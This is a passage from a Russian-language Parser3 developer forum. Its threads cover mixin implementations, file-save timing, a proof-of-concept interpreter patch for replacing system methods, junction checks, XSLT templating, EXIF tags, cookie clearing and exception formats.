  $var_1[value_1]\
\
\
@CLASS\
my2\
\
@create[]\
\
\
\
@CLASS\
mix\
\
# Базовый класс миксина\
\
@auto[]\
  $_RESERVED_MIXINS_NAMES_[\
    $.include_mixin[]\
    $.__init__[]\
  ]\
\
@static:include_mixin[aContainer][obj]\
## aContainer[$caller.self] — если передали миксиним в объект, иначе берем self из caller'а.\
  $result[]\
  $obj[^reflection:create[$CLASS_NAME;__init__;^if(def $aContainer){$aContainer}{$caller.self}]]\
\
@__init__[aThis;aOptions][locals]\
## aOptions.includePrivate.bool(false) — включать методы, начинающиеся с подчеркивания\
  $lIncludePrivate(^aOptions.includePrivate.bool(false))\
  $self.this[$aThis]\
  $lMethods[^reflection:methods[$CLASS_NAME]]\
  ^lMethods.foreach[m;_]{\
    ^if(^_RESERVED_MIXINS_NAMES_.contains[$m]\
      || (!$lIncludePrivate && ^m.left(1) eq \"_\")\
    ){\
       ^continue[]\
     }\
    $this.[$m][$self.[$m]]\
  }\
\
\
\
@CLASS\
mix2\
\
# Делаем миксин с двумя методами и переменной var_2\
\
@BASE\
mix\
\
@__init__[aThis]\
  ^BASE:__init__[$aThis]\
  $this.var_2[^math:uuid[]]\
\
@print_var_1[]\
  $result[$this.var_1]\
\
@print_var_2[]\
  $result[^_private_method[]$this.var_2]\
\
@_private_method[]\
  $result[value: ]\
\
\
\
@CLASS\
mix3\
\
# Миксин с приватны методом.\
\
@BASE\
mix\
\
@__init__[aThis;aOptions]\
  ^BASE:__init__[$aThis;$.includePrivate(true)]\
# Переменная миксина, которая недоступна в классе-доноре.\
  $_mixin_var[mv: ^math:uuid[]]\
\
@_inner_method[]\
  $result[Inner method. ($_mixin_var)]\
[/code]\
\
\
Миксин в этой реализации — специальный вариант класса. Для доступа к переменным класса-приемника используем переменную this вместо self.\
\
Результат работы:\
\
[code]\
  value_1\
  value: 1A979D6C-303F-4873-A9E6-85E5F3617950\
  Inner method. (mv: 29B5BE9F-64D8-4C13-9632-924134EDF66D)\
\
  value_1\
  value: 34C6E147-6839-4F7B-B4BD-66586BFA752A\
  Inner method. (mv: D09227D2-BEA1-4BDA-8A69-8D9869F5C4AE)\
\
    print_var_1\
    print_var_2\
    var_2\
    _inner_method\
    var_1\
\
\
  value_3\
  value: 90F44B5C-27D7-4E40-A14C-C446AB528DE4\
\
    print_var_1\
    print_var_2\
    var_2\
    var_1\
[/code]\
\
Выглядит очень прилично. Похоже пора PF2 делать на миксинах. :)"
"81690","Полезно.\
Главное не запутаться откуда что примешал."
"81691","Мне такое поведение и в других языках не нравится."
"81692","Сабж."
"81693","Я как-то даже тикет заводил в парсеровском Редмайне. Например:\
\
[code]\
@CLASS\
myHash\
\
@IMPLEMENTS\
hash\
\
....\
@foreach[key;value;code;separator]\
 ...\
[/code]\
\
И потом:\
\
[code]\
$o[^myHash::create[]]\
\
^if($myHash is hash){\
  ^myHash.foreach[k;v]{\
    ...\
  }\
}\
[/code]\
\
Мы декларируем совместимость с каким-то классом, а потом можем проверить его совместимость через is. Т.е. is будет проверять не класс, а интерфейс.\
\
Миксины как раз тот случай, когда хотелось бы иметь какой-то способ указать совместимость:\
\
[code]\
  $o[^my::create[]]\
  ^mix3:include_mixin[$o]\
  ^reflection:implements[$o;mix3] <- это можно сделать и в методе include_mixins\
\
  ^if($0 is mix3){...}\
[/code]\
\
Тогда у нас появляется почти множественное наследование и интерфейсы. :)"
"81695","Дано:\
\
в корневом auto.p в @auto[] есть такое:\
\
@auto[]\
$filename[./${form:uuid}.txt]\
$str[$form:test]\
^str.save[$filename]\
\
(на всякий случай обращу внимание, что $str и $filename как локальные переменные не были описаны; это скорее по лени, т.к. они нигде в коде далее не используются)\
\
далее идет работа уже основного кода, который указанный файл не трогает, но занимает достаточно времени\
\
\
параллельно с этой программой работает, вызываемая по cron, вторая программа, которая ожидает появления файлов типа <uuid>.txt и обрабатывает их. данная программа берет mdate (дату модификации) найденного txt-файла и пишет её в БД и обрабатывает txt-файл и переработанный файл помещает в каталог формата /год/месяц/день/ (полученные из mdate)\
\
из нескольких десятков тысяч обработок был 1 \"сбой\": обработанный файл был помещен в /2015/07/26/, дата записана в БД как \"2015-07-26 23:59:56\" -- всё верно!, но когда я сейчас смотрю на дату модификации txt-файла - получется что она \"2015-07-27 00:00:05\". причем, дата создания файла \"2015-07-26 23:59:56\"\
\
Предположение:\
\
описаное выше, на мой взгляд, может быть только в случае, если Парсер физически закрывает все открытые файлы в момент завершения работы скрипта. т.е. файл, который был открыт и в него записали в строке \"^str.save[$filename]\", физически был закрыт не сразу, а только в момент, когда парсер отработал полностью весь код и уже планировал выгрузиться из памяти. \
\
т.е. предполагаю было примерно так:\
\
первая программа: в момент \"^str.save[$filename]\" был создан файл, его cdate и mdate были установлены равными как дата-время создания (26ое число).\
\
далее вторая программа увидела файл, его обработала (поэтому сохраненная в БД дата-время совпадают с датой-время создания файла - они 26-ое число)\
\
далее первая программа доработала (на это ей понадобилось секунд 10) и парсер стал всё закрывать и \"чистить\", в т.ч. провёл close того самого txt-файла. чем поменял mdate на более свежую (27-ое).\
\
Вопросы:\
\
1. верны ли предположения про закрытие текстовых файлов в момент окончания работы парсера, а не сразу по завершению метода .save[]?\
\
2. если первое верно: есть ли какой-то способ сделать \"flush\" текстовым файлам (как это есть с hashfile) сразу? или этого можно добиться описав $str и $filename как локальные? или сделав memory:compact?"
"81696","parser 3.4.2 / win"
"81698","Вот так сделать достаточно легко (это рабочий код, надо буквально пару мест поправить):\
\
[code]@main[]\
\
$hash:_foreach[$hash:foreach]\
$hash:foreach[$test]\
\
$h[$.a[b] $.c[d]]\
^h.foreach[k;v]{$k => $v}[, ]\
\
@test[k;v;c;d][ak;av]\
my foreach\
^self._foreach[ak;av]{$caller.$k[$ak] $caller.$v[$av] $c;$d}\
[/code]\
\
Не знаю правда, насколько оно на самом деле нужно и не вылезет ли где-нибудь боком (в смысле не будет ли GPF при каком-нибудь стечении\
обстоятельств). На первый взгляд - все OK, хеш при этом не становится объектом, ему просто добавляются методы на парсере."
"81699","Не приходило в голову такое сделать.\
\
Спасибо за идею, поэкспериментирую.\
\
Update.\
Ругается:\
[code]element can not be stored to stateless_class\
_foreach[/code]"
"81701","Пустое значение в числовом контексте в Парсере принято интерпретировать как 0."
"81702","[code]@main[]\
$now[^date::now[]]\
$now[^now.sql-string[]]\
\
^now.save[/dt.txt]\
^sleep(60)[/code]\
\
Файл записывается сразу.\
Плюс закрывается, висящим процессом он не занят.\
\
Быть может у вас дисковая подсистема была занята и на запись файла ушёл десяток секунд."
"81703","Я же говорю, что пару изменений надо сделать. :)\
\
Index: types/pa_vstateless_class.C\
===================================================================\
RCS file: /home/cvsroot/parser3project/parser3/src/types/pa_vstateless_class.C,v\
retrieving revision 1.51\
diff -u -r1.51 pa_vstateless_class.C\
--- types/pa_vstateless_class.C 16 Mar 2015 09:47:36 -0000      1.51\
+++ types/pa_vstateless_class.C 6 Oct 2015 14:47:41 -0000\
@@ -22,11 +22,11 @@\
\
 /// @TODO why?! request must be different ptr from global [used in VStateless_class.set_method]\
 void VStateless_class::set_method(const String& aname, Method* amethod) {\
-       if(flocked)\
+/*     if(flocked)\
                throw Exception(PARSER_RUNTIME,\
                        &aname,\
                        \"can not add method to system class (maybe you have forgotten .CLASS in ^process[$caller.CLASS]{...}?)\");\
-\
+*/\
        if(fderived.count()) {\
                Method *omethod=fmethods.get(aname);\
                Array_iterator<VStateless_class *> i(fderived);\
Index: types/pa_vstateless_class.h\
===================================================================\
RCS file: /home/cvsroot/parser3project/parser3/src/types/pa_vstateless_class.h,v\
retrieving revision 1.77\
diff -u -r1.77 pa_vstateless_class.h\
--- types/pa_vstateless_class.h 8 Apr 2015 18:08:54 -0000       1.77\
+++ types/pa_vstateless_class.h 6 Oct 2015 14:47:41 -0000\
@@ -78,8 +78,18 @@\
\
        override const VJunction* put_element(const String& aname, Value* avalue) {     return put_element(*this, aname, avalue); }\
        /// put_element with aself for VObject junctions\
-       virtual const VJunction* put_element(Value& aself, const String& aname, Value* /*avalue*/) {\
-               aself.bark(\"element can not be stored to %s\", &aname);\
+       virtual const VJunction* put_element(Value& aself, const String& aname, Value* avalue) {\
+//             aself.bark(\"element can not be stored to %s\", &aname);\
+\
+               Junction* junction=avalue->get_junction();\
+                        if(!junction) {\
+                                throw Exception(PARSER_RUNTIME,0, \"is '%s', not a method or junction, can not call it\", avalue->type());\
+                        }\
+               Method *method=(Method *)junction->method;\
+                        if(!method) {\
+                                throw Exception(PARSER_RUNTIME,0, \"is '%s', not a method or junction, can not call it\", avalue->type());\
+                        }\
+               set_method(aname, method);\
                return 0;\
        }"
"81704","Теперь ясно."
"81705","Файлы закрываются сразу после записи. Даты создания, изменения файлам ставит OS по факту создания и закрытия файла, парсер их специально не меняет. В момент закрытия файла OS может захотеть сделать sync дискового буфера и в результате операция close будет выполняться долго, возможно это ваш случай."
"81706","Понял! Спасибо за пояснение.\
\
странно конечно, что винда время, потраченное на свои внутрение размышления, занесла в mdate."
"81707","Может стоит поставить какую-то переменную, регулирующую возможность замены системных методов?\
Одно дело добавить свой, другое заменить системный."
"81708","Как решит сообщество. :) Не в таком виде точно, это чисто \"proof of concept\". Вообще изменять системные классы - последнее дело с точки зрения понимания кода кем-нибудь другим. :) Если какой-нибудь отладчик писать - может пригодиться, а в \"мирных\" применениях не уверен."
"81709","[quote]Константин, а нет ли в планах расширения диапазона для int / double?[/quote]\
\
Тут достаточно тонкая разница в формулировках. Планов расширения диапазона - не было, а вот желание уметь работать с целыми числами из диапазона больше чем int32 - было и есть. :)\
\
[quote]Было бы полезно для работы с уникальными идентификаторами, конвертацией систем счисления.[/quote]\
\
Это уже в HEAD, convert может работать с числами uint64, плюс числа в формате 0XNNNN тоже понимаются из диапазона uint64.\
\
Замечу, что целые числа в парсере используются весьма редко (например в циклах) и там диапазона int32 вполне достаточно. В остальных случаях (например все круглые скобки) мы имеем дело c double. Конечно жаль, что в нем немного меньше знаков, чем в uint64, но мне кажется, что и этого достаточно для большинства применений. Да и расширять особо некуда - long double не стандартизован, под Windows (в MSVC) \"long double a synonym for double\", а у парсера одна из сильных сторон это независимость от платформы."
"81710","Ясно, спасибо.\
64 бита не 128, конечно, но всё же немало.\
\
Интересно как тот же Python свой long в разных ОС хранит, если как таковых ограничений размера на него не накладывается."
"81711","А можно прототип в какую-нибудь ночную win-сборку, потестировать?"
"81712","[quote]Интересно как тот же Python свой long в разных ОС хранит, если как таковых ограничений размера на него не накладывается.[/quote]\
\
\"You can handle such large numbers in C or C++ as well by using concept of handling number digits via arrays. There are various external libraries that implement this behavior. A major drawback, however, is that these operations are not implemented in hardware arithmetic and thus are considerably slower. If you want to have a look at the internals of implementation, start at Include/longobject.h and objects/longobject.c of python source code.\"\
\
Но: у Питона явная типизация, и этот тип используется только когда разработчик это явно хочет. У нас же заменять все числа на массивы как-то не очень хочется. :)"
"81713","Windows сборки - это к Мише. :) Хотел было сделать это в виде #ifdef, но наткнулся на комментарий PAFа от 2003 года, который специально закрыл такую возможность. Не исключено (хотя и маловероятно), что раньше это просто некорректно работало.\
\
// prevent system classes from modification [calling add_method]\
// ^process[$string:CLASS]{@method} prohibited from now on..."
"81714","Интересно, спасибо.\
\
[quote]Но: у Питона явная типизация, и этот тип используется только когда разработчик это явно хочет. У нас же заменять все числа на массивы как-то не очень хочется.[/quote]\
\
Даёшь новый, большой и медленный, тип long!"
"81716","Хочется расширить свой класс доп методами, которые бы вызывались при их определение.\
Что-то вроде в самом классе при инициализации\
[code]	^if(def $params.postUpdate && $params.postUpdate is junction){\
		^self.postUpdate[$params.postUpdate]\
	}\
	^if(def $params.postInsert && $params.postInsert is junction){\
		^self.postInsert[$params.postInsert]\
	}\
	^if(def $params.postDelete && $params.postDelete is junction){\
		^self.postDelete[$params.postDelete]\
	}[/code]\
И потом по ходу работы\
[code]^if(def $self.postDelete){\
	^self.postDelete[$id]]\
}[/code]\
и в самом коде\
[code]\
@auto[]\
$estate[^estate::init[\
	$.csql[$oSql]\
	$.postUpdate[$postUpdate]\
	$.postInsert[$postInsert]\
	$.postDelete[$postDelete]\
]]\
@postUpdate[data]\
	^dstop[$data]\
@postInsert[data]\
	^dstop[$data]\
@postDelete[id]\
	^dstop[$id][/code]\
Но такой код не работает как-то не сильно хочется, т.к. может потеряться контекст, где эти объявленные функции расположены.\
Замена на $.postUpdate{$postUpdate}\
в итоге приводит к  junction used outside of context"
"81717","[code]@main[]\
$obj[^Test::create[$test]]\
^obj.test[]\
\
\
@test[param]\
[$param]\
\
\
@CLASS\
Test\
\
\
@create[m]\
$self.m[$m]\
\
\
@test[]\
^if($self.m is junction){^self.m[123]}[/code]\
\
Результат: [123]."
"81718","Если убрать проверку на существование переменной, то все работает.\
Получается что конструкция\
[code]^if(def $params.postInsert && $params.postInsert is junction){}[/code]Не рабочая, работает только так\
[code]^if($params.postInsert is junction){}[/code]"
"81719","[quote]Проверка определенности метода \
Значение $имя_метода, это тоже junction, поэтому проверять существование метода необходимо также оператором is, а не def[/quote]"
"81720","Но в тоже время\
[quote]Проверяемым объектом может любой объект Parser[/quote]\
Разве это не такой же объект ?"
"81721","[quote]не определенными (не def) считаются пустая строка, пустая таблица, пустой хеш и [b]код[/b]. [/quote]"
"81723","[code]$j{^throw[test;test]}\
^if(def $j){y;n}[/code]\
\
Вполне логично проверять строго через is."
"81725","Спасибо, буду иметь в виду."
"81726","но вообще, идеологически правильнее, расширять возможности наследуя и перекрывая методы:\
@CLASS\
Child\
\
@BASE\
Base\
\
@update[]\
^BASE:update[]\
+local code"
"81727","Наподобие событий в jquery плагинах. Один раз сделал и пусть живут в коде.\
В данный момент они будут решать синхронизацию данных с другим приложением. Не как не не могу уговорить разработчиков CRM использовать данные на прямую из БД, хотят только синхронизировать к себе и там использовать."
"81728","Тут что-то задумался, а как лучше такие методы именовать\
post или after,before\
В контексте web, post имеет немного другое значение )"
"81729","http://www.parser.ru/forum/?id=81689\
\
Миксины очень хорошо помогают расширять функционал без множественного наследования и дублирования кода. Пишем функции и подмешиваем их в обекты, когда нам нужно. Я тут поэкспериментировал и боевая реализация получилась такой:\
[code]\
@CLASS\
pfMixin\
\
## Базовый класс миксина.\
## Объект донор доступен через переменную this миксина.\
\
@static:mixin[aContainer;aOptions][obj]\
## aContainer[$caller.self] — если передали миксиним в объект, иначе берем self из caller'а.\
## aOptions — параметры, которые передаются инициалищатору миксина\
  $result[]\
  $obj[^reflection:create[$CLASS_NAME;__init__;^if(def $aContainer){$aContainer}{$caller.self};$aOptions]]\
\
@__init__[aThis;aOptions][locals]\
## Инициализатор миксина. Используется вместо конструктора.\
## aOptions.export[$.method1[] $.method2[]]\
  $aOptions[^hash::create[$aOptions]]\
  $self.this[$aThis]\
  $self.mixinName[__${CLASS_NAME}__]\
  $self.this.[$mixinName][$self]\
  $lMethods[^if($aOptions.export){$aOptions.export}{^reflection:methods[$CLASS_NAME]}]\
  $lForeach[^reflection:method[$lMethods;foreach]]\
  ^lForeach[m;_]{\
    ^if(!def $aOptions.export && (^m.left(1) eq \"_\" || $m eq \"mixin\")){^continue[]}\
    ^if(!($this.[$m] is junction)){$this.[$m][^reflection:method[$self;$m]]}\
  }\
\
#--------------------------------------------------------------------------------------------------\
\
@CLASS\
pfHashMixin\
\
## Добавляет объекту интерфейс хеша\
\
@BASE\
pfMixin\
\
@__init__[aThis;aOptions]\
## aOptions.includeJunctionFields.bool(false) — включать junction-поля.\
  ^BASE:__init__[$aThis;$aOptions]\
  $self._includeJunctionFields(^aOptions.includeJunctionFields.bool(false))\
\
@contains[aName][locals]\
## Проверяет есть ли у объекта поле с именем aName.\
  $lFields[^reflection:fields[$this]]\
  $result(^lFields.contains[$aName])\
  ^if($result && !$_includeJunctionFields && $lFields.[$aName] is junction){\
    $result(false)\
  }\
\
@foreach[aKeyName;aValueName;aCode;aSeparator][locals]\
## Обходит все поля объекта.\
  $lFields[^reflection:fields[$this]]\
  $lForeach[^reflection:method[$lFields;foreach]]\
  $result[^lForeach[lKey;lValue]{^if(!$_includeJunctionFields && $lValue is junction){^continue[]}$caller.[$aKeyName][$lKey]$caller.[$aValueName][$lValue]$aCode}[$aSeparator]][/code]\
\
Мне очень понравилось, что в миксинах еще и свое пространство имен существует, которое не смешивается с базовым объектом. Т.е. можно хорошо сокрытие данных делать, а доступ через функции.\
\
Миксины подмешиваются динамически, так что можно расширить интерфейс любого пользовательского объекта.\
\
Тестик:\
[code]@USE\
../lib/common.p\
\
@main[][locals]\
  ^test_hash_mixin[]\
\
  Finish tests.^#0A\
\
@print_fields[aObj][locals]\
  $f[^reflection:fields[$aObj]]\
  ^f.foreach[k;v]{\
    $k - $v.CLASS_NAME ^if($v is string){— $v}\
  }\
\
@test_hash_mixin[][locals]\
  Hash mixin test:\
  $o[^hash_mixin_class::create[]]\
#  ^print_fields[$o]\
  ^o.foreach[k;v]{\
    $k -> $v.CLASS_NAME\
  }\
\
@CLASS\
hash_mixin_class\
\
@BASE\
pfClass\
\
@create[]\
  ^BASE:create[]\
  ^pfHashMixin:mixin[$self;$.includeJunctionFields(true)]\
  $field[value][/code]"
"81730","Если $params — хеш, то достаточно проверять поле на is junction, а если нет (например, void при пустом параметре) .contains даст ошибку.\
\
Выходит, что .contains не только избыточна, но и опасна."
"81731","кстати да, в хроме есть такое.\
Win8 x64, хром последний:\
http://i66.fastpic.ru/big/2015/1008/16/d94fa2bd26c73f2acbfebb5c37101216.jpg\
\
видимо в скриптах перенаправления дело, хотя в консоли ошибок не выдает..."
"81733","на 99% уверен что так, но я их все отключил, и все равно такая штука... видимо что до до конца не отключается) На Win7 и Win10 c хрома все ок.\
Основой браузер - FF, так что вообще не парюсь )\
ну а тем, у кого проблемы - самое простое решение на эту минуту: создайте файл [b]index.htm[/b] с таким содержанием:\
\
[code]<head>\
<title>Parser 3.4.3</title>\
</head>\
<frameset cols=\"33%,*\"\
          frameborder=\"1\"\
          framespacing=\"1\"\
          border=\"1\">\
<frame name=\"toc\"\
       src=\"http://www.parser.ru/docs/lang/parser3.ru_content.htm\">\
<frame name=\"content\"\
       src=\"http://www.parser.ru/docs/lang/home.htm\">\
</frameset>\
</html>\
[/code]\
\
и открывайте его, должно все работать..."
"81735","везде все одинаково..."
"81736","У консольного CURL есть такая опция как [url=http://curl.haxx.se/docs/manpage.html#-w]-w или --write-out[/url], которая очень удобна для сбора статистики.\
Для обёртки в PF есть [url=https://bitbucket.org/ovolchkov/parser3-pf/commits/233124f1d3ccf2857331aa3610570a83f9b53587]патч[/url].\
Но обёртка довольно старая, и я не уверен, что она будет нормально работать без напильника.\
\
С тех пор появилась нативная поддержка CURL.\
Предлагаю рассмотреть вопрос доработки оной до возможности получения информации о запросе.\
\
В PHP, к примеру, есть [url=http://php.net/manual/ru/function.curl-getinfo.php]curl_getinfo[/url], которая, насколько понимаю, работает через [url=http://curl.haxx.se/libcurl/c/curl_easy_getinfo.html]curl_easy_getinfo[/url].\
\
В [url=http://nullege.com/codes/show/src@h@u@human_curl-HEAD@human_curl@core.py/77/CURL_INFO_MAP]pyCURL[/url] [url=http://pycurl.sourceforge.net/doc/curlobject.html#pycurl.Curl.getinfo]аналогично[/url]."
"81738","правда я всегда в самом начале метода, принимающего params, явно привожу его к хэшу.\
\
но у автора вопроса почему-то было большое желание проверить наличие элемента с таким ключом в хэше. уж не знаю зачем оно ему, но у меня подобные желания тоже иногда бывают, например когда в параметры могут быть объекты разных типов. тогда я сначала проверяю с помощью contains, а потом разбираюсь с типом."
"81739","Реализовано в HEAD. Вообще готовность 3.4.4 уже порядка 95%, так что в течении примерно недели можно ожидать RC. :)"
"81740","Спасибо, Константин.\
\
А не ли новостей по http://www.parser.ru/forum/?id=79324?"
"81741","Увы, не в этой версии. Задача оказалась сложнее в реализации, чем ожидалось."
"81742","Для легаси-кода понятно, но для новых проектов-то зачем? :)))"
"81743","XSLT прекрасен.\
Почему бы его не использовать на новых проектах?"
"81745","Ну, Парсер, как язык, погружённый в код, сам по себе прекрасный шаблонизатор.\
\
А вот в сравнении с велосипедами в других языках лично мне XSLT нравится гораздо больше.\
Он несколько громоздкий синтаксисом, но это издержки его разметочной природы и к тому быстро привыкаешь.\
В некоторой степени прожорлив до памяти, но это из-за DOM-модели, которая даёт огромную гибкость.\
XPath и вовсе мега-инструмент, позволяющий делать очень гибкие выборки из переданных в шаблон данных.\
\
В конце-концов любой well-formed-документ можно использовать как трансформируемый исходник и делать разнообразные пост-преобразования без ковыряния с разбором HTML на части.\
\
Для подхода «пассивный шаблон» он — то, что нужно.\
Все данные есть в XML, и шаблонизатор занимается строго их выводом и форматированием.\
\
Лично мне больше нравится «активный шаблон», когда часть логики выносится в шаблоны и они запрашивают по мере необходимости данные у контроллера.\
Нечто похожее есть в UMI.CMS, если мне память не изменяет.\
\
С XSL обычно используется довольно архаичный подход к генерации лайаута страницы, который заключается в километровых условиях и жёстких вариантах.\
На мой взгляд, это издевательство над гибкостью XSLT и отказ от преимуществ наследования и переопределения шаблонов.\
Альтернативой сделал [url=https://github.com/gzzz/xsl-layout]XSL-Layout[/url].\
\
Если в Парсере упростится работа с обработчиками вызовов из XSL, то можно будет сделать вполне активный шаблон.\
Где в шаблоне будет визуальная логика, а бизнес-логикой будет заниматься контроллер, например на [url=https://bitbucket.org/ovolchkov/parser3-pf/]PF[/url]."
"81746","+1.\
\
И по пунктам:\
\
[quote]XPath и вовсе мега-инструмент, позволяющий делать очень гибкие выборки из переданных в шаблон данных.[/quote]\
+1\
\
[quote]Он несколько громоздкий синтаксисом, но это издержки его разметочной природы и к тому быстро привыкаешь.\
[/quote]\
+1\
\
[quote]В некоторой степени прожорлив до памяти, но это из-за DOM-модели, которая даёт огромную гибкость.\
[/quote]\
\
По современным меркам (когда нормой считается что браузер отжирает гигабайты памяти) его уже можно не считать прожорливым. :)"
"81747","[quote]Он несколько громоздкий синтаксисом, но это издержки его разметочной природы и к тому быстро привыкаешь.[/quote]\
Вот на изучение всего этого синтаксиса + возможностей уйдет не мало времени.\
Но зато можно быть не привязанным к одному языку, и использовать единый шаблонизатор.\
Но увы, все плюсы перекрываются большим порогом входа, сложностью отладки.\
Яндекс отказался от этого метода, они разработали свой БЕМ, который для нас тоже немного сложен и избыточен для простых проектов, но он лучше да и понятнее. JS сейчас знаю практически все."
"81748","Не соглашусь с тем, что у XSL высокий порог входа.\
Для простых вещей, коих 95% — он проще большинства наколенных шаблонизаторов.\
\
В чём сложность отладки не понимаю.\
Это же шаблон — вставляй любой текст и отлаживай.\
\
[quote]JS сейчас знаю практически все[/quote]\
\
При этом его не знает никто, ибо язык крайне запутанный."
"81749","Лучше поздно, чем никогда. :) Судя по коду, в хеш пишутся все значения:\
\
 if(const char* name=(gps)?exif_gps_tag_value2name.get(tag):exif_tag_value2name.get(tag))\
    hash.put(name, value);\
  else\
    hash.put(String::Body::Format(tag), value);\
\
Добавил в парсер ваши теги и еще несколько:\
\
EXIF_TAG(0xa430,	CameraOwnerName);\
EXIF_TAG(0xa431,	BodySerialNumber);\
EXIF_TAG(0xa432,	LensSpecification);\
EXIF_TAG(0xa433,	LensManufactor);\
EXIF_TAG(0xa434,	LensModel);\
EXIF_TAG(0xa435,	LensSerialNumber);"
"81750","Коллеги из Литреса докручивают [url=https://github.com/Litres/turboxsl]TurboXSL[/url] — мультипоточную XSL-библиотеку.\
Насколько знаю, уже на ней работают.\
Средний прирост скорости трансформации был на уровне 30%, если правильно помню.\
Расспараллеливаются цикличные операции, коих в XSL богато."
"81751","Имеем какой-то ключ/подключ хеша, у которого методом\
^hash.delete[key] удалились все ключи, но остался определен как is hash\
\
Эквиваленты ли проверка на пустой хеш в этих двух выражениях,\
при условии, что я уверен, что этот ключ/объект is hash?\
\
[code]\
$hsh[\
  $.a[A]\
  $.b[\
     $.b1[B1]\
     $.b2[B2]\
  ]\
]\
\
^hsh.b.delete[b1]\
^hsh.b.delete[b2]\
\
^if(!def $hsh.b){ Содержимое пусто }\
^if(^hsh.b._count[] == 0){ Содержимое пусто }\
\
[/code]\
\
\
Мне видится, что первое быстрее, но не уверен, что правильно знаю поведение def."
"81752","[code]^if(!def $hsh.b){ Содержимое пусто }[/code]\
->\
[code]^if(! $hsh.b){ Содержимое пусто }[/code]\
\
Вызов метода _count[] в общем случае будет медленнее.\
Но, думаю, разница пренебрежимо мала и если не дёргать проверки в тысячных циклах, то заметить её будет проблематично."
"81755","Хочу допустим принудительно очистить все cookies у клиента,\
только так? \
[code]\
^cookie:fields.foreach[k;v]{ \
   $cookie:$k[] \
}\
[/code]"
"81756","В Парсере это делается через задание пустого значения без expires. В начале работы скрипта в классе cookie содержится то, что клиент прислал в http-запросе. Эти куки НЕ будут переданы Парсером в ответе, пока вы явно не зададите новое значение куки.\
\
Гарантированно очистить куки невозможно. Одновременно вам могут прийти два и более запросов от клиента. И на один вы очистите куку, а на другой установите. Какой из ответов придет клиенту первым и задаст значения неизвестно. Так что имеет смысл всегда ставить кукам срок жизни, чтобы браузер убивал ненужные куки собственными силами."
"81757","Не безупречное, но понимание HTTP есть, \
просто не зная внутреннее устройство Парсера,\
подумал, вдруг там есть какой-то \"bulk\"-метод\
чтобы задать заголовки ответа про все cookies:fields\
\
но в принципе и так работает...\
\
в любом случае по спецификации вроде не более 20 cookies (по 4Kб каждая вроде)"
"81758","Боюсь что пока этой библиотеки не будет здесь: https://packages.debian.org/search?keywords=TurboXSL обсуждать ее рано, не интегрировать же ее код в свою кодовую базу.\
\
P.S. Безотносительно: не вижу особого смысла в многопоточности на вебе, запросы и так поступают параллельно. То есть при небольшой загрузке запрос может действительно отрабатывать быстрее, но суммарная производительность системы (сколько запросов она может обрабатывать в секунду) вполне может оказаться ниже."
"81759","Если у разработчиков будут силы поддерживать на уровне общедоступного решения.\
\
Главный разработчик, к сожалению, скончался, и разработка вполне может остаться внутренней.\
\
Однако, ведут, используют и используют не впустую, прирост производительности есть."
"81760","Вариант [b]../cgi-bin/parser3.cgi index.x?param=value[/b] не работает"
"81761","Так как вы пытаетесь сделать не получится — операционная система урлов не понимает. Т.е. надо сделать отдельный разбор параметров командной строки.\
\
Можно сделать хак. Позвать сайт из консоли по http:\
[code]> curl \"http://site.dom/index.x?param=value\"[/code]"
"81762","Боюсь, хак не поможет - скрипт тяжелый и вылетит по таймауту :-(\
$request:argv пока не очень понятен, но буду разбираться. Спасибо."
"81764","http://www.parser.ru/forum/?id=51720\
\
У Александра руки так и не дошли, \"меньше месяца\" подзатянулось ;)"
"81768","Если честно, не уверен что это нужно делать. У парсера и так не выдающаяся читаемость кода, а такие конструкции ее только ухудшают. Да и в других языках такие присваивания не очень любят. clang в C++ на if(a=b) выдает warning, хочет чтобы писали if((a=b)). Мы у себя это выключаем через #pragma clang diagnostic ignored \"-Wparentheses\". :)\
\
P.S. http://www.parser.ru/download/nightly/ - обновлена Windows сборка. \
\
Из последнего:  в таблице и хэше реализован приоритет поиска метода при вызове метода (^table.count[]), при обращению к полю ($table.count) методы не возвращаются в принципе. Ранее независимо от способа обращения в таблице был приоритет метода, а в хэше приоритет поля, что приводило к проблемам например если в хэше был ключ foreach."
"81769","Разве такой код, для примера\
[code]^if( def  $res[^method[]] ){\
	...\
	$res\
	...\
}\
[/code]\
хуже читается чем такой?\
\
[code]$res[^method[]]\
^if( def  $res ){\
	...\
	$res\
	...\
}[/code]"
"81770","Если будут параметры (а метод без параметров скорее исключение) - конечно."
"81771","[quote] в таблице и хэше реализован приоритет поиска метода при вызове метода (^table.count[]), при обращению к полю ($table.count) [b]методы не возвращаются в принципе[/b][/quote]\
\
наверное уже поздно говорить, но выделенное жирным мне очень не нравится.\
уже знаю, что может развалиться.\
передать куда-то junction-method, пусть даже системного класса -- это очень даже хорошая штука, imho."
"81772","[quote]передать куда-то junction-method, пусть даже системного класса -- это очень даже хорошая штука, imho. [/quote]\
\
Этот вопрос озвучивал в redmine, ответа не было. Ну и опять же сама возможность при необходимости не пропала:\
\
http://www.parser.ru/docs/lang/?reflectionmethod.htm\
\
Правда пример придется подредактировать. :)"
"81773","... то мне перестает нравится:\
\
[code]\
^if(!$nsc[^NuclearStationController::create[$.sql[^Sqlite::create[$MAIN:connect-string]]]]){\
# Что это условие означает? Объект-то создан? И что у него в @GET?\
# Или программист хотел if(def...) написать? :)\
}\
\
# А здесь переменная nsc еще существует или она осталась в скоупе if'а?\
[/code]\
\
Читаемость не самая хорошая и экономим мы буквально на нескольких байтиках кода."
"81774","Не понимаю, честно...\
\
[code]$nsc[^NuclearStationController::create[$.sql[^Sqlite::create[$MAIN:connect-string]]]]\
^if(!$nsc){\
# разве такой код ответит хоть на один вопрос??\
# Что это условие означает? Объект-то создан? И что у него в @GET?\
# Или программист хотел if(def...) написать? :)\
}[/code]\
\
Насчет локальности такой переменной внутри if - хороший вопрос, было бы полезно, имхо, чтобы она была локальной внутри if-а. Бывает же, что переменная только внутри условия и нужна. Но могу ошибаться"
"81775","Поддержу Костю - польза от фичи сомнительная, а недостатков достаточно. :)"
"81776","Почему его содержимое различается?\
Может быть такое:\
\
[code]$.comment[o:/test/index.html(1:2): syntax error, unexpected EON]\
$.handled(false)\
$.type[parser.compile][/code]\
\
или такое:\
\
[code]$.colno(8)\
$.comment[method of test (test) accepts maximum 0 parameter(s) (1 present)]\
$.file[o:/test/index.html]\
$.handled(false)\
$.lineno(4)\
$.source[create]\
$.type[parser.runtime][/code]\
\
Нельзя ли $exception привести к единообразному виду (второму), по крайней мере чтобы файл с ошибкой всегда был в $.file, а не попадал, почему то, в $.comment. Чтобы номер строки и позиция тоже были в соответствующих полях?\
\
